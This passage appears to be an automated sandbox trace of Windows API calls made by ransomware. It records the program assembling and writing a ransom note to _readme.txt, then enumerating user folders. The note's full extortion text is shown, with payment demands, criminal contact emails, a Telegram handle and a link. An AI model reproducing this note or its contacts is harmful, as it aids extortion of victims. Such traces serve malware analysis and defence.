hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.479] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.479] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x310a230 [0266.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a0 [0266.481] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x920) returned 0x31106e0 [0266.481] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x88d) returned 0x311d3f8 [0266.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x311d3f8, cbMultiByte=2189, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 1166 [0266.481] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311dc90 [0266.481] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned 1165 [0266.481] WriteFile (in: hFile=0x5a0, lpBuffer=0x311dc90*, nNumberOfBytesToWrite=0x48d, lpNumberOfBytesWritten=0x387fb64, lpOverlapped=0x0 | out: lpBuffer=0x311dc90*, lpNumberOfBytesWritten=0x387fb64*=0x48d, lpOverlapped=0x0) returned 1 [0266.482] CloseHandle (hObject=0x5a0) returned 1 [0266.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311dc90 | out: hHeap=0x640000) returned 1 [0266.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.482] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081888 [0266.482] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081888 | out: hHeap=0x640000) returned 1 [0266.482] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.482] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x7029f0 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115708 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0266.483] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff17f0 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x38) returned 0x3091560 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0266.483] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115708 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x54) returned 0x3083390 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115760 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3091560 | out: hHeap=0x640000) returned 1 [0266.483] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0266.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0266.484] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115708 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30824e0 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115810 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115760 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3083390 | out: hHeap=0x640000) returned 1 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0266.484] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcffab700, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xcffab700, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115708 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa8) returned 0x3056730 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115760 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31158c0 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115810 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0266.484] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4411120, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc4411120, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x720f70 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff17f0 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x720f70 | out: hHeap=0x640000) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x720f70 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfc) returned 0x30b6fa8 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115708 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115810 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.485] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115760 | out: hHeap=0x640000) returned 1 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31158c0 | out: hHeap=0x640000) returned 1 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff17f0 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x720f70 | out: hHeap=0x640000) returned 1 [0266.486] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x720f70 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x720f70 | out: hHeap=0x640000) returned 1 [0266.486] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31158c0 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31158c0 | out: hHeap=0x640000) returned 1 [0266.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0266.486] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16c) returned 0x71f710 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0266.486] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31158c0 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115760 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115918 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x3116708 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x3116770 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x31167d8 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, 